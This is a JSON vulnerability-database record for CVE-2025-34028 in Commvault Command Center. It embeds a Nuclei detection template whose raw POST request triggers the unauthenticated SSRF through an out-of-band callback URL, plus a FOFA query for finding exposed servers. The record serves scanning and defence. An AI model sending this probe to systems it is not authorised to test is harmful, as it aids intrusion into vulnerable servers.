{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-34028/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-34028/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-34028/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-34028/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-34028/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-34028"},"sightings":{"href":"/api/v1/sightings/cve-2025-34028"}},"enrichments":{"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-34028.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-34028\n\ninfo:\n  name: Commvault - SSRF via /commandcenter/deployWebpackage.do\n  author: DhiyaneshDk,abhishekrautela\n  severity: critical\n  description: |\n    A path traversal vulnerability in Commvault Command Center Innovation Release allows an unauthenticated actor to upload ZIP files, which, when expanded by the target server, result in Remote Code Execution. This issue affects Command Center Innovation Release: 11.38.\n  impact: |\n    Unauthenticated attackers can exploit SSRF through ZIP file uploads containing path traversal sequences, potentially leading to remote code execution on the Commvault server.\n  remediation: |\n    Apply the security patch as described in Commvault's security advisory for Command Center Innovation Release 11.38.\n  reference:\n    - https://documentation.commvault.com/securityadvisories/CV_2025_04_1.html\n    - https://labs.watchtowr.com/fire-in-the-hole-were-breaching-the-vault-commvault-remote-code-execution-cve-2025-34028/\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-34028\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H\n    cvss-score: 10\n    cve-id: CVE-2025-34028\n    cwe-id: CWE-22\n    epss-score: 0.97551\n    epss-percentile: 0.99899\n  metadata:\n    verified: true\n    max-request: 1\n    fofa-query: icon_hash=\"1209838013\"\n  tags: cve,cve2025,ssrf,oast,commvault,kev,vkev,vuln\n\nvariables:\n  string: \"{{to_lower(rand_base(5))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /commandcenter/deployWebpackage.do HTTP/1.1\n        Host: {{Hostname}}\n        X-Requested-With: XMLHttpRequest\n        Content-Type: application/x-www-form-urlencoded\n\n        commcellName={{interactsh-url}}&servicePack={{string}}&version=x\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(interactsh_protocol, \"http\") || contains(interactsh_protocol, \"dns\")'\n          - 'status_code == 900'\n        condition: and\n# digest: 4a0a00473045022100e95f46cc1737f098ecc1bd3a6a0bd99b1ff2839a06dd868d9f9318a80f0284b80220254a87f59c94ca83a0827ceeed2da143cb2a0d2e9356a910fb091a4ba289bc09:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-34028"}